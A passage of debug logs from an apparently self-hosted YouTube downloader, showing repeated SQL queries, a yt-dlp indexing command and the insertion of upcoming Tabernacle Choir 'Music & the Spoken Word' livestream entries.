m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:00:18.799 [debug] QUERY OK source="settings" db=0.2ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:00:18.799 [debug] QUERY OK source="settings" db=0.2ms idle=5.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:00:18.821 [debug] QUERY OK source="media_items" db=4.1ms idle=19.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."source_id" = ?) ORDER BY m0."uploaded_at" DESC LIMIT 50 OFFSET 20 [1] 11:00:18.825 [debug] Running yt-dlp command for action: get_media_attributes_for_collection 11:00:18.825 [debug] Current batch of media processed. Will check again in 1000ms 11:00:18.826 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=27.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:00:18.826 [debug] QUERY OK source="settings" db=0.2ms idle=27.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:00:18.827 [debug] QUERY OK source="settings" db=0.2ms idle=27.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:00:18.827 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/@thetabernaclechoir/streams --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/tabernacle choir/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:2160,+codec:avc:m4a --format bestvideo*+bestaudio/best --break-on-existing --download-archive /tmp/pinchflat/data/49/36/4936b42cbabecc395f3402ebd6b5d982767e1022f739436ec7577b5e61d6cadf.txt --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/2e/6b/2e6b3c009c3b8961c0bd0167cb9bdcfb21272ca1af279c9809bba923751ebc1f.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 11:00:19.826 [debug] Current batch of media processed. Will check again in 1000ms 11:00:20.827 [debug] Current batch of media processed. Will check again in 1000ms 11:00:21.828 [debug] Current batch of media processed. Will check again in 1000ms 11:00:21.948 [info] {"source":"oban","duration":1349,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:00:22.829 [debug] Current batch of media processed. Will check again in 1000ms 11:00:23.830 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "For nearly a century, Music & the Spoken Word has broadcast messages of hope and inspiration alongside the beautiful music of the Tabernacle Choir and Orchestra at Temple Square. \n\nBroadcast every Sunday on more than 2,000 stations and streamed worldwide, Music & the Spoken Word has been a source of peace and comfort through times of war, tragedy, and change. From the Great Depression to global pandemics, it has remained a constant, bringing the glory of sacred music and heartfelt spoken word into homes worldwide. \n\nLet's stay connected:\n\nSubscribe to our Channel: https://www.youtube.com/thetabernaclechoir\n\n Turn on notifications to stay updated with new uploads!\n\nFollow The Tabernacle Choir on Instagram: https://www.instagram.com/thetabernaclechoir/\n\nLike The Tabernacle Choir on Facebook: https://www.facebook.com/thetabernaclechoir \n\nStream The Tabernacle Choir on Spotify, Amazon Music, Apple Music, and Pandora.\n\n#praiseworshipsongs #christianmusic #churchofjesuschrist #ldsmusic #tabernaclechoir #music #choir #christian #organmusic #choirmusic #tabchoir #lds #mormons #musicandthespokenword #livestream #organmusic", "filename" => "/downloads/tabernacle choir/2025-12-08 01⧸25⧸25 Music & the Spoken Word | The Tabernacle Choir/01⧸25⧸25 Music & the Spoken Word | The Tabernacle Choir [opR_Tg1uLjc].NA", "id" => "opR_Tg1uLjc", "live_status" => "is_upcoming", "original_url" => "https://www.youtube.com/watch?v=opR_Tg1uLjc", "playlist_index" => 1, "timestamp" => 1765213124, "title" => "01/25/25 Music & the Spoken Word | The Tabernacle Choir", "upload_date" => "20251208"} 11:00:23.831 [debug] QUERY OK source="sources" db=0.5ms idle=1201.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 11:00:23.832 [debug] QUERY OK source="sources" db=0.3ms idle=1202.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 11:00:23.833 [debug] QUERY OK source="media_items" db=0.9ms queue=0.1ms idle=1040.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-08 16:58:44Z], 1] 11:00:23.837 [debug] QUERY OK source="media_items" db=2.3ms idle=205.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["For nearly a century, Music & the Spoken Word has broadcast messages of hope and inspiration alongside the beautiful music of the Tabernacle Choir and Orchestra at Temple Square. \n\nBroadcast every Sunday on more than 2,000 stations and streamed worldwide, Music & the Spoken Word has been a source of peace and comfort through times of war, tragedy, and change. From the Great Depression to global pandemics, it has remained a constant, bringing the glory of sacred music and heartfelt spoken word into homes worldwide. \n\nLet's stay connected:\n\nSubscribe to our Channel: https://www.youtube.com/thetabernaclechoir\n\n Turn on notifications to stay updated with new uploads!\n\nFollow The Tabernacle Choir on Instagram: https://www.instagram.com/thetabernaclechoir/\n\nLike The Tabernacle Choir on Facebook: https://www.facebook.com/thetabernaclechoir \n\nStream The Tabernacle Choir on Spotify, Amazon Music, Apple Music, and Pandora.\n\n#praiseworshipsongs #christianmusic #churchofjesuschrist #ldsmusic #tabernaclechoir #music #choir #christian #organmusic #choirmusic #tabchoir #lds #mormons #musicandthespokenword #livestream #organmusic", "01/25/25 Music & the Spoken Word | The Tabernacle Choir", "740e5e0f-460c-4fa1-9aec-e0c45a20ebcf", "opR_Tg1uLjc", true, 1, "https://www.youtube.com/watch?v=opR_Tg1uLjc", 1, "/downloads/tabernacle choir/2025-12-08 01⧸25⧸25 Music & the Spoken Word | The Tabernacle Choir/01⧸25⧸25 Music & the Spoken Word | The Tabernacle Choir [opR_Tg1uLjc].NA", false, false, false, [], 96, ~U[2025-12-08 16:58:44Z], ~U[2025-12-12 18:00:23Z], ~U[2025-12-12 18:00:23Z], "For nearly a century, Music & the Spoken Word has broadcast messages of hope and inspiration alongside the beautiful music of the Tabernacle Choir and Orchestra at Temple Square. \n\nBroadcast every Sunday on more than 2,000 stations and streamed worldwide, Music & the Spoken Word has been a source of peace and comfort through times of war, tragedy, and change. From the Great Depression to global pandemics, it has remained a constant, bringing the glory of sacred music and heartfelt spoken word into homes worldwide. \n\nLet's stay connected:\n\nSubscribe to our Channel: https://www.youtube.com/thetabernaclechoir\n\n Turn on notifications to stay updated with new uploads!\n\nFollow The Tabernacle Choir on Instagram: https://www.instagram.com/thetabernaclechoir/\n\nLike The Tabernacle Choir on Facebook: https://www.facebook.com/thetabernaclechoir \n\nStream The Tabernacle Choir on Spotify, Amazon Music, Apple Music, and Pandora.\n\n#praiseworshipsongs #christianmusic #churchofjesuschrist #ldsmusic #tabernaclechoir #music #choir #christian #organmusic #choirmusic #tabchoir #lds #mormons #musicandthespokenword #livestream #organmusic", "01/25/25 Music & the Spoken Word | The Tabernacle Choir", "opR_Tg1uLjc", nil, true, 1, "https://www.youtube.com/watch?v=opR_Tg1uLjc", "/downloads/tabernacle choir/2025-12-08 01⧸25⧸25 Music & the Spoken Word | The Tabernacle Choir/01⧸25⧸25 Music & the Spoken Word | The Tabernacle Choir [opR_Tg1uLjc].NA", false, ~U[2025-12-08 16:58:44Z]] 11:00:23.837 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=43.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 11:00:23.838 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.1ms idle=6.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:00:23.839 [debug] QUERY OK source="media_items" db=0.5ms idle=6.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [102574] 11:00:23.839 [info] Kicking off download for media item #102574 (opR_Tg1uLjc) 11:00:23.842 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "For nearly a century, Music & the Spoken Word has broadcast messages of hope and inspiration alongside the beautiful music of the Tabernacle Choir and Orchestra at Temple Square. \n\nBroadcast every Sunday on more than 2,000 stations and streamed worldwide, Music & the Spoken Word has been a source of peace and comfort through times of war, tragedy, and change. From the Great Depression to global pandemics, it has remained a constant, bringing the glory of sacred music and heartfelt spoken word into homes worldwide. \n\nLet's stay connected:\n\nSubscribe to our Channel: https://www.youtube.com/thetabernaclechoir\n\n Turn on notifications to stay updated with new uploads!\n\nFollow The Tabernacle Choir on Instagram: https://www.instagram.com/thetabernaclechoir/\n\nLike The Tabernacle Choir on Facebook: https://www.facebook.com/thetabernaclechoir \n\nStream The Tabernacle Choir on Spotify, Amazon Music, Apple Music, and Pandora.\n\n#praiseworshipsongs #christianmusic #churchofjesuschrist #ldsmusic #tabernaclechoir #music #choir #christian #organmusic #choirmusic #tabchoir #lds #mormons #musicandthespokenword #livestream #organmusic", "filename" => "/downloads/tabernacle choir/2025-12-08 01⧸18⧸26 Music & the Spoken Word | The Tabernacle Choir/01⧸18⧸26 Music & the Spoken Word | The Tabernacle Choir [mxh_kSXFWpg].NA", "id" => "mxh_kSXFWpg", "live_status" => "is_upcoming", "original_url" => "https://www.youtube.com/watch?v=mxh_kSXFWpg", "playlist_index" => 2, "timestamp" => 1765213054, "title" => "01/18/26 Music & the Spoken Word | The Tabernacle Choir", "upload_date" => "20251208"} 11:00:23.842 [debug] QUERY OK source="sources" db=0.2ms idle=5.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 11:00:23.843 [debug] QUERY OK source="sources" db=0.3ms idle=5.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 11:00:23.846 [debug] QUERY OK source="media_items" db=2.3ms queue=0.1ms idle=5.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-08 16:57:34Z], 1] 11:00:23.849 [debug] QUERY OK source="media_items" db=2.0ms idle=7.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["For nearly a century, Music & the Spoken Word has broadcast messages of hope and inspiration alongside the beautiful music of the Tabernacle Choir and Orchestra at Temple Square. \n\nBroadcast every Sunday on more than 2,000 stations and streamed worldwide, Music & the Spoken Word has been a source of peace and comfort through times of war, tragedy, and change. From the Great Depression to global pandemics, it has remained a constant, bringing the glory of sacred music and heartfelt spoken word into homes worldwide. \n\nLet's stay connected:\n\nSubscribe to our Channel: https://www.youtube.com/thetabernaclechoir\n\n Turn on notifications to stay updated with new uploads!\n\nFollow The Tabernacle Choir on Instagram: https://www.instagram.com/thetabernaclechoir/\n\nLike The Tabernacle Choir on Facebook: https://www.facebook.com/thetabernaclechoir \n\nStream The Tabernacle Choir on Spotify, Amazon Music, Apple Music, and Pandora.\n\n#praiseworshipsongs #christianmusic #churchofjesuschrist #ldsmusic #tabernaclechoir #music #choir #christian #organmusic #choirmusic #tabchoir #lds #mormons #musicandthespokenword #livestream #organmusic", "01/18/26 Music & the Spoken Word | The Tabernacle Choir", "a8a9cddd-58af-45c4-85c1-18d893a5eab4", "mxh_kSXFWpg", true, 1, "https://www.youtube.com/watch?v=mxh_kSXFWpg", 2, "/downloads/tabernacle choir/2025-12-08 01⧸18⧸26 Music & the Spoken Word | The Tabernacle Choir/01⧸18⧸26 Music & the Spoken Word | The Tabernacle Choir [mxh_kSXFWpg].NA", false, false, false, [], 96, ~U[2025-12-08 16:57:34Z], ~U[2025-12-12 18:00:23Z], ~U[2025-12-12 18:00:23Z], "For nearly a century, Music & the Spoken Word has broadcast messages of hope and inspiration alongside the beautiful music of the Tabernacle Choir and Orchestra at Temple Square. \n\nBroadcast every Sunday on more than 2,000 stations and streamed worldwide, Music & the Spoken Word has been a source of peace and comfort through times of war, tragedy, and change. From the Great Depression to global pandemics, it has remained a constant, bringing the glory of sacred music and heartfelt spoken word into homes worldwide. \n\nLet's stay connected:\n\nSubscribe to our Channel: https://www.youtube.com/thetabernaclechoir\n\n Turn on notifications to stay updated with new uploads!\n\nFollow The Tabernacle Choir on Instagram: https://www.instagram.com/thetabernaclechoir/\n\nLike The Tabernacle Choir on Facebook: https://www.facebook.com/thetabernaclechoir \n\nStream The Tabernacle Choir on Spotify, Amazon Music, Apple Music, and Pandora.\n\n#praiseworshipsongs #christianmusic #churchofjesuschrist #ldsmusic #tabernaclechoir #music #choir #christian #organmusic #choirmusic #tabchoir #lds #mormons #musicandthespokenword #livestream #organmusic", "01/18/26 Music & the Spoken Word | The Tabernacle Choir", "mxh_kSXFWpg", nil, true, 1, "https://www.youtube.com/watch?v=mxh_kSXFWpg", "/downloads/tabernacle choir/2025-12-08 01⧸18⧸26 Music & the Spoken Word | The Tabernacle Choir/01⧸18⧸26 Music & the Spoken Word | The Tabernacle Choir [mxh_kSXFWpg].NA", false, ~U[2025-12-08 16:57:34Z]] 11:00:23.850 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=8.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 11:00:23.851 [debug] QUERY OK source="media_profiles" db=0.3ms idle=7.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:00:23.852 [debug] QUERY OK source="media_items" db=0.5ms idle=7.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [102576] 11:00:23.852 [info] Kicking off download for media item #102576 (mxh_kSXFWpg) 11:00:23.854 [debug] Current batch of media processed. Will check again in 1000ms 11:00:24.855 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "For nearly a century, Music & the Spoken Word has broadcast messages of hope and inspiration alongside the beautiful music of the Tabernacle Choir and Orchestra at Temple Square. \n\nBroadcast every Sunday on more than 2,000 stations and streamed worldwide, Music & the Spoken Word has been a source of peace and comfort through times of war, tragedy, and change. From the Great Depression to global pandemics, it has remained a constant, bringing the glory of sacred music and heartfelt spoken word into homes worldwide. \n\nLet's stay connected:\n\nSubscribe to our Channel: https://www.youtube.com/thetabernaclechoir\n\n Turn on notifications to stay updated with new uploads!\n\nFollow The Tabernacle Choir on Instagram: https://www.instagram.com/thetabernaclechoir/\n\nLike The Tabernacle Choir on Facebook: https://www.facebook.com/thetabernaclechoir \n\nStream The Tabernacle Choir on Spotify, Amazon Music, Apple Music, and Pandora.\n\n#praiseworshipsongs #christianmusic #churchofjesuschrist #ldsmusic #tabernaclechoir #music #choir #christian #organmusic #choirmusic #tabchoir #lds #mormons #musicandthespokenword #livestream #organmusic", "filename" => "/downloads/tabernacle choir/2025-12-08 01⧸11⧸26 Music & the Spoken Word | The Tabernacle Choir/01⧸11⧸26 Music & the Spoken Word | The Tabernacle Choir [SSBMMeRs_b8].NA", "id" => "SSBMMeRs_b8", "live_status" => "is_upcoming", "original_url" => "https://www.youtube.com/watch?v=SSBMMeRs_b8", "playlist_index" => 3, "timestamp" => 1765212971, "title" => "01/11/26 Music & the Spoken Word | The Tabernacle Choir", "upload_date" => "20251208"} 11:00:24.856 [debug] QUERY OK source="sources" db=0.4ms idle=1005.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 11:00:24.857 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=1005.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 11:00:24.860 [debug] QUERY OK source="media_items" db=2.4ms idle=1005.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-08 16:56:11Z], 1] 11:00:24.863 [debug] QUERY OK source="media_items" db=2.2ms idle=1006.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["For nearly a century, Music & the Spoken Word has broadcast messages of hope and inspiration alongside the beautiful music of the Tabernacle Choir and Orchestra at Temple Square. \n\nBroadcast every Sunday on more than 2,000 stations and streamed worldwide, Music & the Spoken Word has been a source of peace and comfort through times of war, tragedy, and change. From the Great Depression to global pandemics, it has remained a constant, bringing the glory of sacred music and heartfelt spoken word into homes worldwide. \n\nLet's stay connected:\n\nSubscribe to our Channel: https://www.youtube.com/thetabernaclechoir\n\n Turn on notifications to stay updated with new uploads!\n\nFollow The Tabernacle Choir on Instagram: https://www.instagram.com/thetabernaclechoir/\n\nLike The Tabernacle Choir on Facebook: https://www.facebook.com/thetabernaclechoir \n\nStream The Tabernacle Choir on Spotify, Amazon Music, Apple Music, and Pandora.\n\n#praiseworshipsongs #christianmusic #churchofjesuschrist #ldsmusic #tabernaclechoir #music #choir #christian #organmusic #choirmusic #tabchoir #lds #mormons #musicandthespokenword #livestream #organmusic", "01/11/26 Music & the Spoken Word | The Tabernacle Choir", "04f1dbff-9a0c-4f8b-a15e-b45d156b232a", "SSBMMeRs_b8", true, 1, "https://www.youtube.com/watch?v=SSBMMeRs_b8", 3, "/downloads/tabernacle choir/2025-12-08 01⧸11⧸26 Music & the Spoken Word | The Tabernacle Choir/01⧸11⧸26 Music & the Spoken Word | The Tabernacle Choir [SSBMMeRs_b8].NA", false, false, false, [], 96, ~U[2025-12-08 16:56:11Z], ~U[2025-12-12 18:00:24Z], ~U[2025-12-12 18:00:24Z], "For nearly a century, Music & the Spoken Word has broadcast messages of hope and inspiration alongside the beautiful music of the Tabernacle Choir and Orchestra at Temple Square. \n\nBroadcast every Sunday on more than 2,000 stations and streamed worldwide, Music & the Spoken Word has been a source of peace and comfort through times of war, tragedy, and change. From the Great Depression to global pandemics, it has remained a constant, bringing the glory of sacred music and heartfelt spoken word into homes worldwide. \n\nLet's stay connected:\n\nSubscribe to our Channel: https://www.youtube.com/thetabernaclechoir\n\n Turn on notifications to stay updated with new uploads!\n\nFollow The Tabernacle Choir on Instagram: https://www.instagram.com/thetabernaclechoir/\n\nLike The Tabernacle Choir on Facebook: https://www.facebook.com/thetabernaclechoir \n\nStream The Tabernacle Choir on Spotify, Amazon Music, Apple Music, and Pandora.\n\n#praiseworshipsongs #christianmusic #churchofjesuschrist #ldsmusic #tabernaclechoir #music #choir #christian #organmusic #choirmusic #tabchoir #lds #mormons #musicandthespokenword #livestream #organmusic", "01/11/26 Music & the Spoken Word | The Tabernacle Choir", "SSBMMeRs_b8", nil, true, 1, "https://www.youtube.com/watch?v=SSBMMeRs_b8", "/downloads/tabernacle choir/2025-12-08 01⧸11⧸26 Music & the Spoken Word | The Tabernacle Choir/01⧸11⧸26 Music & the Spoken Word | The Tabernacle Choir [SSBMMeRs_b8].NA", false, 